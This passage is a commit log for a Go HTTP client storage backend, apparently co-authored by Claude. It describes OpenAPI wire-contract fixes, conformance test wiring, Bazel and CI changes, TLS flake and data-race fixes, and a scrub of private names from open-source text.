(AddRemoteWithRef, RenameLabel, etc.) this regeneration surfaces. - write_ledger_test.go and the divergence ledger doc gain the force_notes_overwrite and claim pending rows OSS's apigen.UpdateRequest and SweepRequest actually carry, and drop the Remaining/LiveDependent assertions SweepResult/SweepSkips have no wire member to ever populate. go build ./... and go vet ./... are clean after this change. No behavior beyond the removed surfaces changes here; read-role and write-role reconciliation land in follow-up commits. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): stop sending listIssues a reverse/sort vocabulary OSS does not publish The bd-enterprise lift's sortedPage pushdown assumed GET /v0/beads/issues (listIssues) shared the same sort vocabulary and a reverse parameter with GET /v0/beads/issues:query (handleQueryIssues) -- a different operation. OSS's openapi.v0.yaml publishes listIssues a CLOSED two-value `sort` enum (created, priority; deliberately smaller than the nine values :query takes) and no `reverse` parameter at all. Sending either would earn an unknown-parameter or invalid_value refusal from the real server, not a silently-wrong answer -- which is why this only surfaces against a served backend, not a Go-side unit test of the request builder. Add listSortPushdownEligible to gate the pushdown fast path to the two keyset orders listIssues can actually page, unconditionally refusing any reversed request (listIssues has no parameter that names a reversed direction, so a reversed request of any order walks and sorts client-side). Drop the unconditional `reverse` send from sortedPage. served_list_test.go's three affected cases encoded the wrong, enterprise-only wire shape (expecting reverse=false on the fallback path, expecting a reversed order to push down with sort+reverse, and expecting a Go-side/SQL-side mix in listIssues' sort enum); corrected to match OSS's actual, provable wire contract rather than left red. list_sort_test.go's publishedParamEnum helper now reads the OpenAPI document via the go:embed'd spec.OpenAPIV0() accessor instead of a relative os.ReadFile, so it no longer depends on the test's working directory (this also fixes the same test failing under Bazel's sandbox, which does not expose arbitrary relative-path files). Co-Authored-By: Claude Sonnet 5 * fix(httpclient): reconcile write-role tests against OSS's BatchClose/Update shapes OSS's apigen.BatchCloseRequest and BatchCloseResponse publish no claim_next/claimed_next member at all (ledger row W-CloseBatchRequest.ClaimNext) -- bd-enterprise's claim-folded-into-close shape has no OSS wire counterpart. Replace the three tests that exercised decoding a served claim (TestBatchCloseRefusesAServedClaimCarryingNoIssue, TestBatchCloseRefusesAServedClaimTheRequestNeverEarned, TestBatchCloseKeepsTheClaimItEarned) with TestBatchCloseRefusesClaimNextUnconditionally, which pins the actual OSS behavior: a CloseBatchRequest naming ClaimNext refuses before any dial, on both the unserved and served legs, regardless of what a server would otherwise answer. Drop the now-dead "claim-next" case and helper claim variable from TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest. Also: - Add the ForceNotesOverwrite case to TestUpdateRefusesEveryMemberTheWireExcludes's hand-maintained member map -- a ledgered-pending UpdateRequest member (see W-UpdateRequest.ForceNotesOverwrite) the lift's test left uncovered. - Remove write_roles_test.go's duplicate `ptr[T]` generic helper, which redeclared the one already in helpers_test.go and never compiled. Co-Authored-By: Claude Sonnet 5 * test(conformance): pin post-write RowVersion propagation across Update/Close/Reopen types.Issue.RowVersion is json:"-", so an implementation that forgot to populate it on the way back from storage would still compile and still pass every existing content assertion in lifecycle_close_reopen_contract.go -- none of them read RowVersion. Add RunLifecycleResultsCarryThePostWriteRowVersion, which chains each write's result token into the next write's ExpectedVersion (Update -> Close -> Reopen) with no intervening read, so a dropped or stale token fails closed on the next write's optimistic-concurrency guard rather than passing silently. Register it in role_bundle_cases.go's roleContractCases dispatch table at its declaration-order position -- TestRoleContractCasesCoverEveryContractCase was failing because the function existed with no dispatcher entry. Co-Authored-By: Claude Sonnet 5 * chore(bazel): sync BUILD files via gazelle for the S3 reconciliation bazel run //:gazelle after the compile/read-role/write-role reconciliation commits: - internal/httpclient/BUILD.bazel: regenerate srcs/deps for the files added, removed and newly imported above (drops the deleted policy/journal-watch/readylister files, adds the spec dep for list_sort_test.go's embedded OpenAPI read). Manually add `data = glob(["*.go"])` to the go_test rule, matching the idiom already used by //internal/httpclient/encode: completeness_test.go and divergence_citation_gate_test.go read their own package's .go sources at runtime (a regex scan of unsupported_gen.go and an AST walk of the package directory), and Bazel's go_test sandbox only copies in files a rule declares as `data` -- `srcs` are compiled away, not left readable. A `# keep` directive protects the attribute across future gazelle runs (confirmed gazelle does not manage `data` on this rule). - internal/storage/BUILD.bazel, internal/storage/unsupportedgen/BUILD.bazel: pick up the new from-scratch unsupportedgen generator package. bazel test //internal/httpclient/... //backend/conformance/... now passes all 4 targets (previously 4 of the package's tests failed only under Bazel's sandbox: TestInterfaceCompleteness, TestTheCountGroupVocabularyMatchesTheSharedOne, TestFlaglessListSortIsTheSameOrderNamed, TestDivergenceParkCitationsResolveToLiveLedgerRows). Co-Authored-By: Claude Sonnet 5 * fix(conformance): close two pre-existing leg-wiring gaps found while registering http - RunLifecycleResultsCarryThePostWriteRowVersion (added in 536561124) was never wired into dolt/embeddeddolt/uow's own lifecycle_close_reopen test tables, only into the http leg's. TestEveryLegWiresEveryRoleContract catches this once a fourth leg forces the test to actually run again; wire the missing t.Run into all three. - The three StatsReporter "suppressed rows" cases (GateIssues/TemplateIssues breakdown) were never added to served_graph_aux_test.go even though the wire already carries both fields end-to-end (types.Statistics is shared verbatim by apigen.StatsResponse and the client's decode). Wire them; all three pass over HTTP with no server or client change needed. Co-Authored-By: Claude Sonnet 5 * feat(conformance): register the http leg in the role-contract lock Registers "http" (wiringRoot internal/httpclient) in contractLegRegistry. The served-surface harness (served_harness_test.go + 16 served_*_test.go files) already wired 495 of 576 role-contract entrypoints from the bd-enterprise lift; this change: - Waives the 3 RunCycleDetectorIncludeTracks* cases: issueops. DetectCyclesRequest.IncludeTracks has no plumbing on either side of the wire today (cycles.go always calls DetectCycles with a zero-value request; the client's DetectCycles ignores its request parameter). No slice through S13 adds one, so the waiver says a new slice is needed rather than pointing at an existing one. - Sets adoptionCeiling: 75 for the remaining, not-yet-wired write-role and internal-plumbing entrypoints (lifecycle writes, DependencyEditor, MetadataCAS, Lease, Sweeper, VersionReconciler, Bootstrapper/ InitVerifier, cross-record invariants) that S4 and later write slices pick up and ratchet down. - Adds //internal/httpclient:go_srcs to storage_test's data: the leg's wiring root lives outside internal/storage, and the Bazel sandbox has no other reason to materialize those sources for a test that reads them at runtime. TestEveryLegWiresEveryRoleContract, TestEveryRoleMethodHasAContractCase, and RunUnsupportedContract (already wired pre-lift in internal/httpclient/completeness_test.go) all pass for the http leg. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): close review's HIGH 2-5 gaps and reconcile their test doubles HIGH 2 (BatchCloser), HIGH 3 (created_by stamping, absent-parent 404/400, force_notes_overwrite carriage) and HIGH 4 (CapabilityError now unwraps to a typed *storage.ErrUnsupported with Capability) were implemented in prior commits on this branch; this change finishes HIGH 5 and the verification the review asked for: - role_reader.go's Reader.Get and bridge.go's raw GetIssue both now stitch Revision back onto Issue.RowVersion via parseRevision, so a guarded write built off either read carries the row's real token instead of a decoded zero. Both are pinned by round-trip served tests that guard a write with the read's token and require a stale-token replay to refuse. - Fixed create_test.go's stale assertion that created_by must stay empty (contradicted the HIGH 3 stamping fix it predated). - Fixed recordingWire's canned IssueDetails{} response (roles_test.go): it omitted Revision, which is a required field on every getIssue response per the OpenAPI spec, and the HIGH 5 stitch now reads it unconditionally. - Synced internal/httpclient/wire/BUILD.bazel via gazelle: handshake_test.go's new internal/storage import had no corresponding dep. - gofmt'd write_roles_test.go's stubWire struct tags. Verified: served HTTP conformance tier (BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 go test ./internal/httpclient/, -timeout=40m) 600 PASS / 0 FAIL / 72 SKIP (all ledgered known-divergence waivers). One TLS-handshake-timing test failed in that run and passed 3/3 in isolation (unrelated file, pre-existing flake under machine load, not reproducible). Also green: default go test (minus the pre-existing, unrelated TestEngdocsAndRootMarkdownLinks doc-link drift and the environmental internal/storage/uow dolt-server-spawn hang), bazel build/test for the touched packages, make api-check, and gofmt/vet. Live-mutated and reverted 3 guards to confirm their tests are load-bearing: role_reader.go's RowVersion stitch, bridge.go's RowVersion stitch, and lifecycle.go's force_notes_overwrite wiring. Co-Authored-By: Claude Sonnet 5 * feat(ci): add served HTTP conformance as Tier 3 of the conformance gate The served tier (internal/httpclient's served_*_test.go corpus) never ran in CI, so HIGH 2-5's regressions (and any future ones) would merge undetected. Add it as Tier 3 of scripts/conformance.sh, the existing required entrypoint conformance.yml already runs on every PR/push/merge_group (not a new workflow, not wired through ci-gate.sh's aggregation -- this repo's convention for this gate is a single standalone job): CGO_ENABLED=1 BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 \ go test -timeout=40m ./internal/httpclient/ Left unsharded: Tier 1 and Tier 2 are themselves single unsharded invocations, and Tier 3 is one Go package, not a multi-package corpus the repo's existing package-sharding scripts apply to. No Bazel-lane addition: bazel-coverage's embedded/dolt_server outputs only ever substitute for main.yml/pr-risk.yml jobs, never for conformance.yml's own job, so there is no existing Bazel-lane relationship for this gate to extend. Bumped the job's timeout-minutes 45 -> 100 (30m + 10m + 40m budgeted sub-timeouts plus checkout/setup-go overhead) and updated the three policy tests that pin this script/workflow byte-for-byte (TestConformanceScriptUsesExplicitTimeoutBudgets, TestConformanceScriptPropagatesGoTestFailures, TestConformanceWorkflowHasOuterTimeoutBudget), re-included internal/httpclient/** in both path filters (push and pull_request, kept identical) since served_*_test.go files are the suite itself and would otherwise be excluded by the shared !**_test.go negation, and documented the new filter entry in ci_f7c_advisory_test.go's own-entries map. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): root-cause and fix the Happy-Eyeballs TLS flake in store_dependent_test.go TestTransportForSucceedsWithEnvCAFile (and 3 Handshake-based siblings that assert on a successful dial through a configured CA: SidecarCAFile, CAFileEnvAgreeingWithSidecarSucceeds, DialWithNilTransportHTTPClientGetsCAInjectedOnACopy) flaked once with "tls: first record does not look like a TLS handshake". Root cause: our code, same class S2 already fixed for TransportFor's direct callers (forceIPv4Loopback in ca_test.go/ca_wrong_ca_test.go). Every server these tests dial is addressed by hostname "localhost" (ca.startServer rewrites it there deliberately, so SNI is actually sent), which Go's default dialer races a tcp6 dial to ::1: against the real tcp4 dial to 127.0.0.1: for (RFC 6555). An unrelated local process already bound to a colliding ephemeral port on ::1 can occasionally win that race before the real dial completes, and the client speaks TLS to that unrelated process instead -- the misleading handshake error, not a real hang or a product bug. These four tests go through Handshake with DialOptions{} (HTTPClient left nil deliberately, since that is itself the nil-HTTPClient branch of DialWith under test), so they never get a *http.Transport back to mutate the way forceIPv4Loopback's existing callers do. Fixed via warmIPv4OnlyCATransport: pre-build the target's CA-scoped transport through the same public TransportFor the product code itself calls (so it lands in the exact (path, content)-keyed cache transportForFile's cache hit returns), force tcp4-only on that cached pointer, and let Handshake's own DialWith run unchanged -- same branch under test, same cached transport, no sleeps, no retries. Verified with -race -count=50 on all four: 200/200 pass. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): refuse DetectCycles(IncludeTracks=true) instead of silently ignoring it roles_graph.go's httpCycleDetector.DetectCycles took its request as `_`, forwarding nothing: a caller asking for the widened (tracks-following) walk silently got the narrower default walk back with no error. listDependencyCycles has no include_tracks wire parameter at all, so there is no way to honor the field — only to refuse it loudly or drop it silently. Switch to the typed, ledger-cited refusal (encode.RefusedError via refuse(), citing new row "L-cycles-tracks") that CountEdges' own wire bound already uses, add the ledger row and its Op, regenerate the auto-generated ledger doc, and pin the behavior with a unit test (no served-tier case needed: the refusal is pre-dial by design, same reasoning as the existing edge-count bound pin). Also fix leg_contract_wiring_test.go's cycleTracksWireGapWaiverReason, which had gone stale: it described the http leg as silently forwarding nothing for this field, which was true before this change and is not after. The waiver itself (the three RunCycleDetectorIncludeTracks* contract cases stay unwired for the http leg) is unaffected — they were never wired, and still are not — only the reason text needed updating to describe a typed refusal instead of a silent ignore. Co-Authored-By: Claude Sonnet 5 * fix(storage): name the http leg's permanent contract gaps instead of budgeting them The http leg's role-contract adoption ceiling (internal/storage/contract_leg_registry_test.go) sat at a flat 75, with a prose "adopting" note that bundled every skip into one vague bucket — including MetadataCAS, which is in fact fully wired (0 missing cases), a false claim left over from an earlier wiring pass. Twenty-six of the 75 skips are not S4-and-later work at all: they are PERMANENT gaps that no future slice closes, because the contract itself has no publicops role for an HTTP client to route through: - Importer (4 cases): uow is Importer's one accessor, same precedent the dolt and embeddeddolt legs already carry (importerOneAccessorWaiverReason). - RetentionFixture/EpochFixture (15 cases) and CrossRecordInvariantFixture (7 cases): both fixtures carry raw storage hooks (Resolve, Erase, Mint, CurrentEpoch, GuardedWrite, EnforceCrossRecordInvariant, ...) with no publicops field at all. dolt, embeddeddolt and uow wire these because they ARE the storage engine this address/epoch/retention and cross-record transaction bookkeeping belongs to; the http leg is a remote client with none of its own to report. There is no wire surface for this to ever route through short of a new role being designed from scratch — a new slice, not a missing test line. These 26 are now named, reasoned waivers in unwiredContractEntrypoints (two new reason constants: retentionEpochNoRoleWaiverReason and crossRecordInvariantNoRoleWaiverReason), and the ceiling drops from 75 to 49 to match. The "adopting" note is rewritten to correctly name every remaining category under budget (lifecycle writes, DependencyEditor, DualWrite, Sweeper, VersionReconciler, Bootstrapper/InitVerifier, ExpectedRevision/ Refusal) and to drop the false MetadataCAS claim. Also documents, at conformanceEntrypointsWiredBy, why a leg wiring a conformance.RunX reference with every hook left nil would read as "adopted" by this lock's static source grep while actually running as a skip — matching the loophole internal/httpclient's divergence_citation_gate_test.go already closes for skipKnownDivergence call sites. No leg currently does this (verified by inspection); the note sets the review expectation for future wiring rather than papering over the gap with no record of the policy. Co-Authored-By: Claude Sonnet 5 * fix(licensing): scrub internal program/org naming and a leaked private ID from OSS-visible text MEDIUM 8 of the S3 ship review: remove licensing-hygiene leaks found by a read-only repo-wide survey, while leaving every legitimate "Contributed by gascity from bd-enterprise ... to OSS beads under the MIT license." provenance header and every genuine public gascity/gastownhall self-reference (the real OSS org, beads.gascity.com docs domain, RBE infra) untouched: - Delete release-gates/ga-7psli2-3-1-baseline-cmd-bd-fix-gate.md: the only file in release-gates/ keyed by a private `ga-` tracker ID instead of the directory's established public `be-` convention (30 other files), and the only one leaking internal filesystem paths (/home/jaword/..., gc-management/.gc/artifacts) and internal routing terms (mayor/mpr, "deployer session"). Not referenced from anywhere else in the tree. - .golangci.yml: drop two private `ga-2ltro.12`/`ga-26w10` history citations used as nolint-comment justifications; reworded to the same explanatory content without naming a private tracker ID. - Reword 19 "gc native-program" occurrences (14 files, comments and one design doc) to drop the internal program name while keeping the "S3 reconciliation (2026-10)" dating they were attached to. - cmd/bd/if_revision.go, if_revision_test.go, update.go, update_proxied_server.go: drop literal citations of gascity's private bdstore_conditional.go classifier (including a test function name, TestIfRevisionEnvelopeGascityContract -> ...DownstreamContract) while keeping the substantive explanation of why this envelope's shape is load-bearing for a downstream consumer. - internal/httpclient/lifecycle.go: drop a citation of gascity's private internal/beads/bdstore.go. - internal/httpclient/dial.go: drop the internal/enterprise/httpgw package path, keeping "a gateway dialer outside this repo". - internal/httpclient/register.go: reword away from naming "the enterprise distribution" while keeping the build-tag-opt-in behavior it documents. Verified: go build ./..., go vet ./internal/httpclient/... ./cmd/bd/..., go test ./internal/httpclient/... and ./cmd/bd/... -run TestIfRevision all pass; TestDivergenceLedgerDocMatchesLedger still passes (ledger.go and its doc were edited in lockstep). gofmt -l reports no diffs on any touched file. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/wire): correct the CapExternalDependencies doc's implied false claim MEDIUM 9 of the S3 ship review. The old comment on CapExternalDependencies said this client "has no external-dependency policy layer to gate" and that "OSS publishes no storage.ExternalDependencyQueryStore-backed client policy ... to compose" immediately after naming bd-enterprise's removed policy.go -- easily misread as "OSS has no external-dependency decorator at all." It does: internal/storage/externaldeps's decorator is unconditional (no build tag) and is wired into every local storage chain by cmd/bd/storage_chain.go. Reworded to say precisely what is and is not true: the decorator exists and runs for local backends; what this http client lacks is a client-side composition of that decorator around a remote store, which is moot anyway because a server advertising this capability already applies the policy itself before answering. (Rolled in the same "gc native-program" wording removal from the MEDIUM 8 commit, since both edits touch this comment block.) A second claim from the same review item -- that OSS is said somewhere not to serve events:watch -- could not be located despite an exhaustive repo-wide search (this file, engdocs/, docs/reference/events-journal.md, SERVE_RUNBOOK.md, the divergence ledger, CHANGELOG.md, and a dedicated read-only research pass). internal/httpapi/events_watch.go, routes.go's events.watch route entry, and internal/httpclient/wire/stream.go all confirm OSS serves it unconditionally (gated only per-workspace by the events journal setting, not by build/distribution). No corresponding false claim exists in this worktree to fix; noting this rather than editing something that already reads correctly. Verified: go build ./internal/httpclient/..., go vet, go test ./internal/httpclient/wire/... pass. gofmt -l clean. Co-Authored-By: Claude Sonnet 5 * test(unsupportedgen): add a freshness check for the generated shell LOW item from the S3 ship review: internal/storage/unsupportedgen had no tests of its own, so the generator could drift from the checked-in internal/httpclient/unsupported_gen.go (a storage.DoltStorage interface change, or a hand-written method added/removed on Store) with nothing to catch it short of a human noticing the diff. TestInterfaceCompleteness (completeness_test.go) already pins which methods belong in the shell by name, but not whether the checked-in bytes match what the generator would produce today. TestGeneratedShellIsFresh runs the same scan-then-generate pipeline main() runs for the registered DoltStorage/httpclient/Store consumer and diffs the result against the checked-in file -- mirrors the existing TestDivergenceLedgerDocMatchesLedger pattern in internal/httpclient/encode/ledger_render_test.go. Added TestScanHandWrittenMethodsExcludesOwnOutput alongside it to pin the correctness property the freshness check depends on (scanning must not see the generator's own prior output as hand-written). BUILD.bazel: added the go_test rule by hand (gazelle cannot infer the cross-package `data` dependency a relative-path os.ReadFile needs under the Bazel sandbox) with data = ["//internal/httpclient:go_srcs"], following the existing cross-package data pattern in internal/httpclient/encode/BUILD.bazel. Placed go_test before the go_srcs.py-managed filegroup block, which `make bazel-sync-check` requires. Verified: `bazel run //:gazelle` leaves the rule untouched, `bazel test //internal/storage/unsupportedgen:unsupportedgen_test` passes, `make bazel-sync-check` is clean, go build/vet/test ./... all pass. Co-Authored-By: Claude Sonnet 5 * fix(httpclient/encode): scrub a private tracker-ID cluster from the shipped divergence-ledger doc Follow-up to the MEDIUM 8 licensing scrub: internal/httpclient/encode's ledger_render.go header and ledger.go's comments/pinnedElsewhere constant/two Why strings cited "ga-b8ddd.12/.19/.23/.30" by name. These feed directly into engdocs/design/http-divergence-ledger.md -- a shipped, generated OSS design doc, the most visible surface this private ID cluster reached (Fork A's MEDIUM 8 survey found ~40 occurrences of "ga-b8ddd" across the httpclient package; this commit addresses the subset inside package encode that is checked-in prose/doc text, not test-fixture or assertion values). Reworded to keep the same substantive explanation (what closed, what's still deferred, which dual run resolved L17) without naming the private ID. The remaining ~30 occurrences of "ga-b8ddd" outside package encode (offrole.go, metadata.go, store.go, roles_test.go, wire/*_test.go, served_*_test.go) are left for a follow-up pass: scrubbing them individually needs the same per-file verification this commit did, and is a larger, separate blast radius than was practical in this pass. Regenerated engdocs/design/http-divergence-ledger.md via `go test ./internal/httpclient/encode -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc`; diff confirmed only the ga-b8ddd text changed. go build ./..., go vet ./internal/httpclient/..., and go test ./internal/httpclient/... all pass. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): drop a private host reference from a test comment Co-Authored-By: Claude Opus 5.5 (1M context) * revert(licensing): keep the scrub to the contributed client code The previous scrub also edited upstream files this PR doesn't otherwise touch (.golangci.yml, cmd/bd --if-revision files from #7203) and deleted an upstream release-gate record. Restore them; the provenance scrub applies only to the code contributed from bd-enterprise. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(httpclient): wire S8 count-scope fields on the client Encode ParentID/NoParent/ExcludeTypes/ExcludeStatus onto countIssues (table.go + encode.go), add issues.count.scope to the client capability table (wire/handshake.go, wire/vocabulary_test.go), and refuse locally before dialing when the server hasn't advertised the token and any scope field is set (counter.go's refuseUnservedScope), returning a typed *storage.ErrUnsupported{Capability:"issues.count.scope"} rather than dropping fields or taking a guaranteed-400 round trip. Adds encoding-parity coverage (counts_test.go), a masked-token skew test proving the pre-dial refusal and zero dials (counts_test.go), roundtrip and skew-table fixes for the newly-encoded fields (encode/roundtrip_test.go, encode/skew.go), and wires S8's nine shared Counter conformance cases into the served http leg (served_counter_test.go), including AddDependency so the wisp/compose cases run instead of skipping. List stays nil on this fixture since listTable() has pre-existing, unrelated permanent refusals for ListRequest.NoParent/ExcludeTypes, so the three *MatchesListCardinality cases skip here by design. internal/storage's TestEveryLegWiresEveryRoleContract/http ceiling check remains red (53 skipped vs ceiling 49) after this change, but strictly improved: before this change the inherited baseline was 62 skipped (13 over ceiling), all nine of S8's new entrypoints unwired. This change wires all nine, closing exactly that gap; the remaining 4-over are named RunBootstrapper*/RunDependencyEditor* cases unrelated to count-scope, pre-existing debt from other already-merged slices whose ceiling was never bumped for them. Left the ceiling constant alone rather than raising it to paper over debt this change doesn't own. Co-Authored-By: Claude Sonnet 5 * fix(storage): close the http leg's role-contract ceiling regression TestEveryLegWiresEveryRoleContract/http went red after the rebase (62 skipped, 13 past its ceiling of 49) before any work in this session; the prior commit closed 9 of those (S8's Counter cases). The remaining 4-over were RunBootstrapper* (9 entries) and RunDependencyEditor* (2 entries), both newly-merged contracts this leg had never classified. RunBootstrapper*: internal/httpclient/accessors.go already names Bootstrapper PERMANENTLY UNSERVABLE over http (bd init resolves its substrate identity entirely client-side, before any server exists to dial) — add a new named waiver, bootstrapperPermanentlyUnservableWaiverReason, covering all nine entrypoints. VersionReconciler and InitVerifier are named permanently unservable by the same accessors.go comment but are left under the ceiling for their own reviewed change, out of scope here. RunDependencyEditor*: the OSS server already serves add/remove and the http leg already wires nearly all of DependencyEditor's contract. The two missing cases (SameTypeReAddWithChangedMetadataMintsOneVersion, SameTypeReAddWithIdenticalMetadataIsANoOp) only needed SetVersionedHistoryEnabled wired onto the fixture, the same way SetJournalEnabled already is — wired it for real; both pass served. With Bootstrapper waived and DependencyEditor fully wired, the leg's unwaived-missing count drops from 53 to 42, so adoptionCeiling moves from 49 to 42 to keep the ratchet exact, with the adopting prose updated to match. TestEveryLegWiresEveryRoleContract is green. Served tier (real, CGO + embedded dolt): 611 PASS, 0 FAIL, 72 SKIP (up from 609). bazel build/test and make api-check pass for the touched targets. Co-Authored-By: Claude Sonnet 5 * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37307836753 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. * fix(conformance): pass -tags gms_pure_go to Tier 3's served httpclient run scripts/conformance.sh:61 ran a bare `go test -timeout=40m ./internal/httpclient/` for Tier 3 (served HTTP client/role conformance), which `make ci-pr-policy`'s build-tag policy check refuses ("bare go test without -tags=gms_pure_go"). Pass the same -tags Tier 1 already does, and update TestConformanceScriptUsesExplicitTimeoutBudgets' pinned argv to match. Co-Authored-By: Claude Sonnet 5 * fix(bazel): give //internal/httpclient:httpclient_test room to run The package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no BEADS_TEST_EMBEDDED_DOLT) — mostly wall-clock wait on the CA tests' dialer/keep-alive timeouts, not CPU — but the go_test had no size/timeout override, so it inherited the medium default's 300s and timed out intermittently under Bazel (and took "Go test equivalence" down with it). Set size = "large", timeout = "long", matching //internal/storage/embeddeddolt's go_test. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): fix data race in caContextHandler test helper TestTransportForRaisesMaxIdleConnsPerHostForBursts drives caContextHandler with 8 concurrent requests; handler() wrote requestSeen/host/sni from every server goroutine with no synchronization, and the other nine callers (all single-request) never exercised the race. go test -race reproduced it as 3x DATA RACE across repeated runs. Guard the fields with a mutex and expose them only through accessor methods (sawRequest/seenHost/seenSNI), updating every call site in store_dependent_test.go accordingly. Co-Authored-By: Claude Sonnet 5 * fix(unsupportedgen): canonicalize reflect-visible stdlib aliases TestGeneratedShellIsFresh fails on Go >= 1.27: encoding/json.RawMessage became an alias of encoding/json/jsontext.Value, and reflect only ever sees an alias's underlying type, so formatType rendered storage.DoltStorage.MergeMetadata's signature with the new, non-portable name even though the signature itself did not change. A contributor on 1.27 following the freshness test's own advice ("go generate ./internal/httpclient") would commit a shell that does not compile on the 1.26.7 SDK this repo pins. Add reflectAliasCanonical, a table mapping a reflect-visible alias target back to the name a human wrote in source, consulted by namedType. Add an entry here for any future stdlib alias this generator's output needs to stay stable across. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): claimOnlyUpdate propagates the claim's RowVersion bridge.go's GetIssue already stitches details.Revision onto hydrated.RowVersion when claimOnlyUpdate rehydrates labels/CreatedBy onto the claim response, but the claim response itself (issueops.Claimer's bare-row contract) carries no revision at all, and the copy-back only touched Labels and CreatedBy. So Lifecycle.Update({Actor, IssueID, Claim: true}) — `bd update X --claim` — handed back Issue.RowVersion == 0 over http where the local leg returns the real token, and feeding that into the next write's ExpectedVersion got a spurious mismatch instead of none. Copy RowVersion back too. Extend RunLifecycleResultsCarryThePostWriteRowVersion (shared lifecycle/close/reopen conformance contract) with a claim-shaped first link in the chain: claim, then guard the next write with the claim result's own token, proving the claim-only path populates the real version rather than a nonzero constant. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): stitch RowVersion on SearchIssues' exact-id fast path resolve.go's getIssuesByExactID decodes the same IssueDetails shape bridge.go's GetIssue does, but never parsed details.Revision the way GetIssue's own stitch does, so SearchIssues(ctx, "") answered RowVersion 0 — a one-line gap: Issue.RowVersion is json:"-", so the decode left it at zero, and only the explicit parseRevision stitch recovers it from the response's own Revision string member. Add TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite, pinning the same guarded-write round trip TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite already pins for the plain GetIssue path. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): route every write role's refusals through inexpressible Review finding 7: write-side refusals were not uniformly *ErrUnsupported. Read roles already wrap encoder refusals through Store.inexpressible, which reaches both encode.RefusedError and encode.CapabilityError; the write side's refuse() returned a bare *encode.RefusedError instead, so a caller doing errors.As(err, &unsupported) caught the count-scope refusal but missed Sweeper.Sweep(Limit), DetectCycles(IncludeTracks), ReadyClaimer.ClaimNext, BatchApplier.ApplyBatch, BatchCloser.CloseBatch, Deleter.Delete, DependencyEditor.AddDependencies, and BatchCreator.CreateBatch. Give InexpressibleError a detail field that preserves the original error's composite text (an "items[%d]..." or "Issue.%s:" prefix a deeper encoder helper already adds) instead of collapsing the message to the bare ledger row text, and wrap every remaining write role's exported method in a single named-return defer calling store.inexpressible, matching the pattern lifecycle.go's Create/Update/Reopen already use. Add TestWriteRoleRefusalsMatchTheReadShape, pinning three write-side refusals (Sweeper.Sweep Limit, CycleDetector.DetectCycles IncludeTracks, ReadyClaimer.ClaimNext) now classify via errors.As(*storage.ErrUnsupported) the same way a read-side refusal does. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): stop spelling out Status: StatusOpen on a markdown batch create Review nit 8: batchcreator.go's refuseUnwirableIssue refuses a populated Status (apigen.BatchCreateItem has no wire slot for it), and buildMarkdownBatchRequest always set Status: types.StatusOpen explicitly, so `bd create --file` refused on every call against an http-backed store. PreparePublicCreateRequest already defaults an empty Status to StatusOpen on every backend, including the http client store's own server, so the explicit assignment here was never a different outcome - only a populated member the wire can't carry. Leave it unset; the created issue is identical on every backend, and the http leg's role-level accounting for why Status and CreatedBy are excluded from its allowlists is documented on batchCreateCarriedIssueMembers (internal/httpclient/batchcreator.go). CreatedBy is left as-is: that member genuinely has no wire slot AND the server does not yet stamp it from Actor (a gap already tracked in this PR's Follow-ups), so its refusal is correct, not a bug to route around. Co-Authored-By: Claude Sonnet 5 * docs(httpapi): correct create.go's CreatedBy comment to caller-asserted Review nit 8: the comment claimed CreatedBy is stamped from the "authenticated actor," but actor is parsed straight from the request body (s.bodyActor) and never authenticated - exactly as this file's own doc comment states a few lines above. Reword to "caller-asserted actor" and cross-reference that doc comment so the two stay consistent. No behavior change: the stamp itself and its test coverage were already correct. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): raise MaxIdleConnsPerHost for a supplied client's nil Transport Review nit 8: DialWith's doc comment promises the raised MaxIdleConnsPerHost ceiling on every dial, "whether or not a CA is configured," but the opts.HTTPClient.Transport == nil arm only injected a transport when the target's CA was configured (resolved.configured()). A caller-supplied *http.Client with a nil Transport and no CA fell through untouched, so it defaulted to http.DefaultTransport's own ceiling of 2 at request time instead - silently exempting this one shape from the doc's promise and forcing a fresh TLS handshake on most of a concurrent burst even once the pool is warm. Route this arm through the same dialTransport helper the opts.HTTPClient == nil arm above already uses (the CA-scoped transport when a CA is configured, the shared baseline otherwise), injected onto a copy so the caller's own *http.Client fields (Timeout, CheckRedirect, Jar) stay untouched. Add TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost: an end-to-end burst through wire.Client.Do, traced with httptrace, asserting the connection pool settles into reuse at a burst size the default ceiling of 2 cannot sustain. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): stop citing nonexistent design docs from new source files Review nit 8: several comments added by this lift cited engdocs/design/http-client-backend.md, "D8 row N", and beads-design/slices.json - none of which exist in this repository (the design lived in the bd-enterprise-internal source this code was lifted from). Point each citation at what actually ships in-repo instead: engdocs/design/http-divergence-ledger.md (the generated, human-readable rendering of the divergence ledger in encode/ledger.go) for the D7/D8/D9 discipline citations in encode.go, ledger.go, bijection_test.go, write_ledger_test.go, wire/credential.go and store.go's package doc; and a direct description of the wire-gap it records, rather than a slices.json scope reference, in leg_contract_wiring_test.go's cycle-tracks waiver rationale. Regenerate http-divergence-ledger.md from ledger_render.go (which had the same stale citation) via `go test ./internal/httpclient/encode -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc` so the shipped doc and its generator agree. No behavior change; comment and generated-doc text only. Co-Authored-By: Claude Sonnet 